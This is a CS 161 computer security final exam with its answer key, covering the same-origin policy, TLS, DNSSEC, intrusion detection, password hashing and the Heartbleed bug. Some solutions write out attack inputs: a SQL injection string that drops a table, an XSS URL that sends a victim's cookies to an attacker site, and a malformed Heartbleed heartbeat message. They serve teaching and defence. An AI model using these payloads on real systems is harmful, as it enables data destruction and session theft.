Popa & Weaver
Fall 2016

CS 161 Computer Security

Final Exam

PRINT your name: __________________, __________________
(last) (first)

I am aware of the Berkeley Campus Code of Student Conduct and acknowledge that any academic misconduct on this exam will lead to a "F"-grade for the course and that the misconduct will be reported to the Center for Student Conduct.

SIGN your name: __________________

PRINT your class account login: `cs161-`__________________ and SID: __________________

Name of the person sitting to your left: __________________ Name of the person sitting to your right: __________________

You may consult four single-sided sheets of notes (or two double-sided sheets). You may not consult other notes, textbooks, etc. Calculators, computers, and other electronic devices are not permitted. Please write your answers in the spaces provided in the test. We will not grade anything on the back of an exam page unless we are clearly told on the front of the page to look there.

You have 180 minutes. There are 11 questions, of varying credit (200 points total). The questions are of varying difficulty, so avoid spending too long on any one question.

Do not turn this page until your instructor tells you to do so.

"Ransomware is the greatest thing to ever happen to computer security, all thanks to anarchist crypto nerds who wanted magic internet money." -SecuriTay

Problem 1 ***True or false*** **(46 points)**

Circle True or False. Do not justify your answer.

(a) True or False: The same origin policy allows https://www.amazon.com to access the resources of http://www.amazon.com.

Solution: False - the protocol is different.

(b) True or False: Framebusting is a defense against cookie tracking.

Solution: False - framebusting is a defense against clickjacking attacks.

(c) True or False: The httpOnly flag of a cookie mitigates XSS attacks because it ensures the browser sends the cookie only over https.

False – it ensures the cookie is not accessed by JS, but it can be sent over http too.

(d) True or False: Javascript running on the outer frame of a website can always access the resources of an inner frame in the page.

False – if they are different origins, they cannot access each other.

(e) True or False: Two Javascript scripts embedded in pages running in two different tabs on a user's browser can never access the resources of each other.

False – if they are the same origin, they can access each other.

(f) True or False: All CA-s in your browser need to be trustworthy in order to be protected via TLS (assume no certificate pinning).

Solution: True

(g) True or False: If you obtained the long-term private key of a party in a TLS connection, you can decrypt past TLS connections if the server uses DHE for the key exchange.

Solution: False; DHE does provide forward security.

(h) True or False: TLS does not hide who the communicating parties are from an observer.

Solution: True

(i) True or False: AES-ECB mode (encrypting each block separately with the block cipher and the same IV) is IND-CPA.

Solution: False; attacker can tell if two blocks are the same.

(j) TRUE or FALSE: Cryptographic hash functions do not have any collisions.

Solution: False - collisions exist, it is just difficult to find them.

(k) TRUE or FALSE: User chosen passwords are good seed values for a PRG.

Solution: False - user defined passwords have low entropy

(l) TRUE or FALSE: A website that rejects all user input that contains `<script>` tags may still be vulnerable to XSS attacks.

Solution: True. Reflected for one.

(m) TRUE or FALSE: DNSSEC prevents a man-in-the-middle from seeing what names someone is looking up.

Solution: False.

(n) TRUE or FALSE: WˆX (non-executable memory) is a good defense against return-oriented programming.

Solution: False. ROP is designed to work with library code or other existing executable code.

(o) TRUE or FALSE: In DNSSEC, NSEC3 records effectively prevent zone enumeration.

Solution: False. NSEC3 just gives hash space traversal. Was covered in class.

(p) TRUE or FALSE: A NIDS is preferrable to a HIDS for HTTPS traffic.

Solution: False. A NIDS cannot decrypt HTTPS traffic, so a HIDS would be preferrable.

(q) TRUE or FALSE: The same-origin policy does not prevent `https://abc.com` from loading an image from `http://xyz.com` onto its page.

Solution: True. Images are allowed to load by SOP.

(r) True or False: In the event where the domain name to IP address binding has changed, the DNS server must send invalidation messages to clients in order to clear their DNS cache.

Solution: False. DNS responses have expiry dates. It is the client's responsibility to manage expiry.

(s) True or False: ASLR randomizes the location of program's stack in memory, and therefore prevents the attacker from correctly guessing the location of the return address to modify.

Solution: False

(t) True or False: Setting the NX bit (i.e. disabling executable permission) on pages spanning the program's stack prevents all buffer overflow attacks.

Solution: False. ROP attacks, heap overflows, etc.

(u) True or False: Consider a program that is compiled with stack canary protection. The canary has the same value across multiple executions of the program.

Solution: False. Else the attacker supply the deterministic canary value within the exploit.

(v) True or False: Content Security Policy mitigates against cross-site scripting attacks by only allowing a whitelist of script sources.

Solution: True.

(w) True or False: Setting the httpOnly flag in a cookie prevents CSRF attacks by preventing the victim's cookies from being sent along with the request.

Solution: False.

Problem 2 ***Short questions*** **(16 points)**

(a) A NetGear router runs a web server for local users to manage the device in the home. If an attacker gets a local user to visit a page that somewhere includes the URL `http://{RouterIP}/cgi-bin/;COMMAND` the router will execute this command. What type of attack is this?

> **Solution:** CSRF/Cross Site Request forgery (sometimes see as XSRF)

(b) The tools you would need to break federal wiretap law are (Circle one):

1. free and widely available
2. only available to government agencies
3. only available on the dark web

> **Solution:** 1

(c) Which of these can encrypt messages of arbitrary size? Select zero or more.

1. a block cipher
2. a block cipher with a mode of operation
3. a stream cipher
4. RSA

> **Solution:** 2, 3

(d) If the Facebook abuse protocol wants to enable the recipient of a message to prove to a third party that this was the message he/she received, should it use a MAC, a digital signature, or either of the two at the sender?

> **Solution:** A digital signature.

Problem 3 *Loading the Dice* (24 points)

You are now in charge of an online gambling establishment called LoadedDice. The goal is that the entire gambling system needs to be honest: neither LoadedDice nor the gambler should be able to predict the outcome of a die role.

To roll the dice, LoadedDice first picks a message m_1 and the customer picks a message m_2. The die roll (an 8 sided die) is the last 4 bits of the SHA256 hash of $m_1 + m_2$. If it comes up 0 the gambler wins, otherwise the house wins.

Unfortunately the previous person in charge did not come up with a good protocol and as a result you seem to be losing a lot of money. Your first job is to examine the previous failures.

(a) The first protocol had LoadedDice publish m_1 which is output from their cryptographically secure pRNG and the player would then publish m_2. m_1 and m_2 are each 512b long. Why did this not work?

Solution: The player would simply try multiple m_2 until $H(m_1+m_2)$ matched.

(b) The second protocol had LoadedDice publish $H(m_1)$, then the player published m_2 and finally LoadedDice published m_1. Why did this not work? Can you see a simple fix?

Solution:

SHA256 is subject to a "length extension" attack so the previous attack still works. The simple fix is to either change the size of m_1 so it isn't 0 mod 256, add a salt or similar tweak, or have the roll be $H(m_2 + m_1)$. (Lenght Extension attacks were discussed in the HMAC-DRBG lecture)

(c) Eventually they fixed the protocol for agreeing on a dice role, but another problem concerned the random generator used to generate the messages. LoadedDice generated each message by computing the SHA256 of the previous message appended to the current time in seconds. Why didn't this work?

Solution: Simply because this is predictable, since H(previous public message + time) is very predictable

(d) Instead you propose changing to use HMAC-DRBG using SHA256 which is well seeded. Your manager thinks this is a good idea, but that you should also update the pRNG with the current time after each message. Does this update weaken the security? Why or why not?

Solution: No it doesn't. The update function in HMAC-DRBG is designed to not make things worse if the attacker knows the update as long as it was initially well seeded.

(e) For hashing passwords of users, LoadedDice claimed to follow "best practices", computing the hashed password as SHA-256(*password*) for all users. This is obviously not true, so what two things are wrong with their hashing practices?

Solution: The passwords should be salted, and they should use a much slower hash function.

(f) Unfortunately gambling is illegal, and the feds gained a wiretap order which they already used to record alll of LoadedDice's traffic. LoadedDice's web site used RSA-AES-SHA256 as the TLS parameters. If the feds later execute a search warrant will they be able to decrypt traffic? Why or why not?

Solution: Yes they will, no forward secrecy!

Problem 4 ***Under Attack from the APT Team*** **(16 points)**

You are in charge of `fu`.co, a new startup which is unfortunately become the target of the latest APT (Annoyingly Persistent Teenager) attacker team, the Suspended RedBand which is believed to operate out of the enclave known as Shallow Alto.

This attack group is using multiple techniques to try to break into your systems. Fortunately, you also have multiple layers of defense, including passive network monitoring (NIDS) on the network border, host-based monitoring (HIDS) on your web server and your mail server, and log based monitoring where the centralized file server records all file accesss by all systems.

(a) One primary tactic that the Suspended RedBand uses is to send malicious word documents through email. Your email server is properly configured to receive email using StartTLS. Fortunately these emails are easy to recognize because of various features. Which defensive system can detect these attacks? Can the defensive system also block these attacks?

Solution: The host based monitoring on the mail server. Yes it can block these attacks.

(b) The Suspended RedBand successfully compromised a user's workstation and began exfiltrating (stealing and sending outside the network) information from the file server through an HTTPS connection. How would you determine what data the attacker accessed? Can you estimate how much data was actually exfiltrated rather than just examined on the compromised system?

Solution: You can use the file server's logs to determine what data was accessed, and the volume of data which was exfiltrated from the NIDS logs.

(c) Your security posture doesn't just stop external threats but also internal damages. Human Resources reports that a worker has complained about another worker viewing inappropriate web pages at work. Which system can substantiate if this claim is correct?

Solution: The NIDS can validate this

(d) One of your vendors offers an IPS (Intrusion Prevention System) solution which you consider installing. The vendor claims that it has a zero false negative rate when detecting attacks by the RedBand. and a false positive rate of less that .1%, however false positives are very disruptive and will cause a lot of collateral damage. The vendor is honest but will provide no other information before you decide to deploy it. Is this a good system? Why or why not?

Solution: You simply can't know since you don't know the base rate. Although the false negative rate is superb, the FP rate may or may not have base rate problems depending on what the base rate of normal activity is.

Problem 5 ***Tasty but insecure*** **(16 points)**

Oski was hired as a security consultant for www.tastytreats.com. The developer of this website has not taken CS 161 so none of the user input is validated or escaped. For each question, state a way that Oski can test for the specified vulnerability.

(a) After talking to an engineer at Tasty Treats, Oski finds the following line of code running at the web server:

```
treat = "SELECT * FROM TREATS WHERE Name = ' " + treatName + "';";
```

What could Oski enter in the place of treatName to erase all treats from the database?

> **Solution:** x'; DROP TREATS; –

(b) What should Oski recommend that Tasty Treats do to prevent the attack in part (a)? Write exactly two different defenses, and not more.

> **Solution:** Use Parametrized SQL statements, or escape, or sanitize inputs.

(c) Oski wants to look up the treat, samosas, on the Tasty Treats website. When he enters samosas in the search bar he notices that his browser issues an http request to the url

```
http://www.tastytreats.com/search.html?term=samosas
```

and that the web server embeds the term with no validation in the page returned. For example, he gets the following message:

```
The treat "samosas" was not found.
```

What kind of vulnerability has Oski found? Be as specific as you can in its name (e.g., a web attack is certainly not acceptable :P).

> **Solution:** Reflected XSS, although just XSS is acceptable

(d) Consider an attacker who wants to obtain the cookies of Alice for tastytreats.com. Write down the URL that Oski (pretending he is an attacker) can send to Alice in an email such that, when she clicks on that URL, Oski's site (www.oski.com/getcookie) ends up obtaining her cookies. If you don't know the exact name of a HTML or Javascript command, write a name with a suggestive meaning.

> **Solution:** http://www.tastytreats.com/search.html?term=<script>sendCookie(www.oski.com
> document.cookie);</script>
>
> or

http://www.tastytreats.com/search.html?term=<script>get("http://www.oski.com/getcookie

or similar. Do not take points for lack or existence of quotes/escaping around the script.

Problem 6 *DNSSEC* **(12 points)**

While browsing memes late at night, you make a DNSSEC-enabled request for the `A` record of `oskibear2k16.berkeley.edu`.

To your dismay and disappointment, you receive the response: `NXDOMAIN`. The response also contains `NSEC` and `RRSIG` records.

(a) What further DNS queries, if any, must you make to validate this response? Assume all caches are empty. Provide both the domain(s) to be queried and the necessary record type(s) for each domain. You don't need to use all the lines below:

Solution:

1. the `DNSKEY` record for `berkeley.edu`
2. the `DS` record for `berkeley.edu`
3. the `DNSKEY` record for `.edu`
4. the `DS` record for `.edu`
5. the `DNSKEY` record for `.` (the root)

(b) What parties must you trust in order to validate this response and confirm that `oskibear2k16.berkeley.edu` really doesn't exist? Circle all that apply and provide no explanation.

1. your local network administrator
2. the DNS server that gave you this response
3. one or more certificate authorities
4. the DNS root zone administrator

Solution: the DNS root zone administrator

(c) The devious students at a certain university to the south decide that this will not do. They have found a way to spoof responses to any of your DNS requests, and furthermore, have stolen the private ZSK of the `.edu` zone!

Now when you send a request for `oskibear2k16.berkeley.edu`, you get a response with an A record of `171.64.64.64` and an `RRSIG` that your resolver says is valid.

How did this happen? Be specific. (Once again, assume that all caches are empty.)

Solution:

The RRSIG is signed with a fake key, which is given in the spoofed response for the berkeley.edu DNSKEY. A spoofed DS record is sent using the stolen .edu ZSK.

Note that this requires the collusion of neither the berkeley.edu zone admin nor the root zone admin.

Problem 7 ***To script or not to script?*** **(12 points)**

Our favorite social media platform, FacePalm, feels that having user-defined Javascript running on its page would enhance user experience. They're thinking of implementing a new feature where users can enter *script-mode* in which any posts containing script tags will have their scripts run on the page. So, for example, if a user posts `<script> alert(1); </script>`, a user viewing the post in script mode would see the alert, whereas a user not browsing in script mode would see sanitized output.

(a) Their initial release of the feature has users enter script-mode by navigating to `https://facepalm.com/script-mode`, whereas normal browsing navigates to `https://facepalm.com/no-script-mode`. They quickly notice scripts popping up to steal the cookies of users who enter script-mode. How could they change the cookies they set for users such that attackers would not be able to steal cookies? Answer in one sentence.

> **Solution:**
>
> Set the HTTPOnly Flag in cookies to prevent them from being accessed by scripts.

(b) After implementing this change, attack-scripts no longer steal cookies, but they quickly notice scripts popping up that send users' private information (i.e. birthday, apps visited, etc.) over to `https://evil.com`. The FacePalm admins decide that users browsing in script-mode should not be allowed to view their own private content. They decide to switch the URLs that users browse to: now to browse in script-mode, users visit `https://script-mode.facepalm.com`, whereas for normal browsing, users now visit `https://no-script-mode.facepalm.com`, and to view private content, users visit `https://no-script-mode.facepalm.com/private`. Why can attackers no longer steal private information?

> **Solution:**
>
> Attackers can't steal private information anymore by the same origin policy. Since the script-mode domain is different from the domain for requesting private content, responses to requests for `https://no-script-mode.facepalm.com/private` are blocked by the browser.

(c) After the change in part b, FacePalm notices scripts that force users to post annoying copypasta. After seeing "I am still getting ya" posted for the fifteenth time, the FacePalm admins decide to put an end to it, so they restrict post-content requests to no-script-mode domains (i.e. users must request `https://no-script-mode.facepalm.com/post` in order to post content, and there is no script-mode equivalent endpoint). However, they notice that benign users still end up posting annoying messages to `https://no-script-mode.facepalm.com/post`. What type of vulnerability is FacePalm likely facing here, and how could they solve this issue?

Solution:

FacePalm is facing a CSRF vulnerability. They can solve it by using random tokens.

Problem 8 *Diagnosing Heartbleed* (19 points)

OpenSSL, a popular open-source implementation of TLS, was recently attacked by exploiting a vulnerability in its handling of heartbeat messages, which is now known as the Hearbleed vulnerability.

Someone decided that TLS should support its own "heartbeat" messages to maintain long term connections (in addition to TCP's keepalives) and that these heartbeat messages should contain arbitrary content sent by the client and echoed back by the server.

The relevant, simplified implementation is as follows:

```
typedef struct {
  /* length of heartbeat message from client. This field is set by the server. */
  uint32_t length;
  /* contents of the heartbeat message. This is controlled by the malicious client. */
  uint8_t *data;
} SSL3_RECORD;

uint8_t *processHeartbeat(SSL3_RECORD *r)
{
  /* message type e.g. HEARTBEAT; this field set by client */
  uint8_t type = *((uint8_t *) &r->data[0]);
  /* length of data; this field set by client */
  uint16_t len = *((uint16_t *) &r->data[1]);
  uint8_t *buf = malloc(len + 3);
  /* type of response */
  *((uint8_t *) &buf[0]) = HEARTBEAT_RESPONSE;
  /* response length equals client's message length */
  *((uint16_t *) &buf[1]) = len;
   /* copy the client's message verbatim */
  memcpy(buf + 3, r->data, len);
  /* return the message to be sent to the client */
  return buf;
}
```

Figure 1: Vulnerable Procedure

Observe that the SSL3_RECORD contains a pointer to data sent by the malicious client. The server populates the length field of SSL3_RECORD with the length of the data actually sent by the client. The data sent by the client itself contains the encoded message itself, with the first byte always specifying the type of message. For Heartbeat messages the type specifies that it is a heartbeat message, the next two bytes specify the length the client expects back, and the remaining bytes are the nonce the client sends.

(a) A vulnerability here makes the program leak large parts of its memory upon processing a heartbeat message. This is catastrophic as the memory may potentially have cryptographic keys, session cookies from other users, and other secrets. Describe the vulnerability and construct the exploit heartbeat message.

Solution: Adversary lies about the length of the message in the heartbeat request.
msg[0] = HEARTBEAT, msg[1..2] = 65535, msg[3] = 'x'

(b) What is the approximate maximum memory (in kilobytes) can the attacker read using one malicious heartbeat message?

Solution: 64KB

(c) Would the use of stack canaries prevent this attack? Why?

Solution: No. Stack canaries prevent overriding the memory on stack, not reading outside of the bounds.

(d) Would the use of DEP prevent this attack? Why?

Solution: No. DEP prevent code execution but this doesn't rely on executing code.

(e) Would the use of ASLR prevent this attack? Why?

Solution: No. ASLR makes it harder to execute attacker's code once memory is overriden, but not reading outside of the bounds which is happening here.

(f) Would the use of memory safe programming language prevent this attack? Why?

Solution: Yes. A memory safe programming language would detect out of bounds read of the `nonce` pointer.

(g) Suggest a modification to the code that fixes this vulnerability while keeping the intended functionality of heartbeats.

Solution: Check len $+ 3 \leq$ r$\rightarrow$length before memcpy.

Problem 9 ***Secure Broadcast*** **(12 points)**

Consider a server s that wishes to broadcast messages to clients $c_1,\ldots,c_n$. We define secure broadcast to be a protocol where each client is guaranteed to recieve messages that are generated by the server, i.e. we want to ensure that a client can indeed verify that the message comes from the server and from no one else.

(a) Consider a design where s shares the same symmetric key with all the clients (using an out-of-bound secure channel). s attaches a MAC, computed using the symmatric key, to each message sent to the clients. Does this scheme guarantee integrity and authenticity? Explain why or why not.

Solution: No. Any client could have also generated the message.

(b) Consider a design where s shares a unique random key with each client (using a secure out of bound channel) and then MACs all messages using this unique key. Does this scheme guarantee authenticity? (Ignore replay attacks here.)

Solution: Yes, because each client should have a unique key

(c) Consider a client is unhappy about the message it gets from the server and would like to convince a judge that s sent to him such a terrible message. Can the client convince the judge by showing the message and the MAC? If yes, explain why. If not, propose a fix.

Solution: NO, the client could have sent this message himself. Instead the server should sign the message.

Problem 10 ***Hunting block cipher chaining modes*** **(12 points)**

Unexcited about the block cipher chaining modes Alice learned in CS 161, especially CBC and CTR, she decides to create her own that also provides IND-CPA security. Let B be a block cipher and denote by $B_k(p)$ the block cipher applied to plaintext p with key k. Alice has come up with the block cipher chaining modes below and she needs your help to decide if they are IND-CPA or not. For each scheme below, say whether it is IND-CPA or not. If it is not IND-CPA, additionally give a concrete example of an information the attacker learns about the plaintext from the ciphertext in this encryption scheme that he/she would not be able to learn from an IND-CPA-secure scheme.

Consider the plaintext $P = (P_1, P_2, \ldots, P_\ell)$ where each P_i has size the block size of B. Let $\oplus$ be bitwise XOR.

(a) $Enc_k(P) = (C_1, \ldots, C_\ell)$, where $C_i = B_k(i \oplus P_i)$.

Solution: Not IND-CPA. This scheme is deterministic to begin with so the attacker can tell if two encrypted plaintexts are equal. Moreover, the attacker can tell if two different ciphertexts have equal blocks in the same position.

(b) $Enc_k(P) = (IV_1, C_1, \ldots, IV_\ell, C_\ell)$, where $C_i = B_k(IV_i \oplus P_i)$, where each IV_i is generated randomly and independently of the other IVs.

Solution: This is IND-CPA.

(c) Let $IV = hash(P)$, where hash is a cryptographic hash function (in particular, it is collision resistant). Assume the hash of P fits exactly in the IV size. Let $C_0 = IV$. $Enc_k(P) = (IV, C_1, \ldots, C_\ell)$, where $C_i = B_k(C_{i-1} \oplus P_i)$.

Solution: Not IND-CPA. This scheme is also deterministic so the attacker can tell if two encrypted plaintexts are equal.

Problem 11 ***Sessions with `localStorage`*** **(15 points)**

Browsers support a feature called `localStorage`, which allows a website to save and load data on the user's computer. The storage is a key-value database, which can be accessed by JavaScript code on a webpage. Data that is saved by one page can be accessed by any other page that comes from the same origin. Unlike cookies, data in `localStorage` is not automatically sent with any HTTP requests.

Consider building a website using `localStorage` to implement a session management system.

(a) Suppose the server receives an HTTP request containing correct credentials that authenticate a user. The server generates a random session token to be stored in the browser. However, the server doesn't have direct access to `localStorage`.

Describe an HTTP response that the server can send in order to get the session token stored. You can either provide the code snippet or describe what the code should do.

Solution: Send an HTML page with a `<script>` tag containing the session token and JavaScript code that saves it to `localStorage`.

(b) Next, the user loads a page with a form for executing an action while logged in. The page always has the exact same URL and HTML code, regardless of which user is logged in (this helps with caching performance).

Describe what could be included in the page to ensure that a form submission to the site's server will include the user's session token, as well as how the server would receive the session token. You don't have to write actual code; assume that JavaScript code is capable of:

- Running when the page loads
- Running just before the browser submits a form
- Saving and loading data in `localStorage`
- Inspecting and modifying the contents of the webpage as it is interpreted by the browser (this is called the DOM or Document Object Model).

Solution: Put a script on the page. Before the browser submits the form, check if there is a session token in `localStorage`. If there is, modify the DOM to add a hidden input to the form with the session token as the value. The server will receive the session token as part of the form submission.

(c) Consider how an XSS vulnerability would affect the security of this session management system, compared to a session management system that stores a session token in a cookie. Could an attacker exploit an XSS vulnerability to steal the session token in this system? Could an attacker steal the session token if the site stored the session token in a cookie instead?

Solution: Yes for this system. If the site used a cookie instead, the attacker would not be able to steal the token if it was set with `HttpOnly`.

(d) Consider web-specific attacks, other than XSS, that an attacker might perform in order to have the site take action on behalf of the user without the user's knowledge.

Name one type of attack in that is a problem with using cookies that using Local-Storage to record session IDs prevents.

Solution: CSRF

(e) Name one type of attack other than XSS that is equally applicable to this system as it is to a system that uses cookies.

Solution: Clickjacking, eavesdropping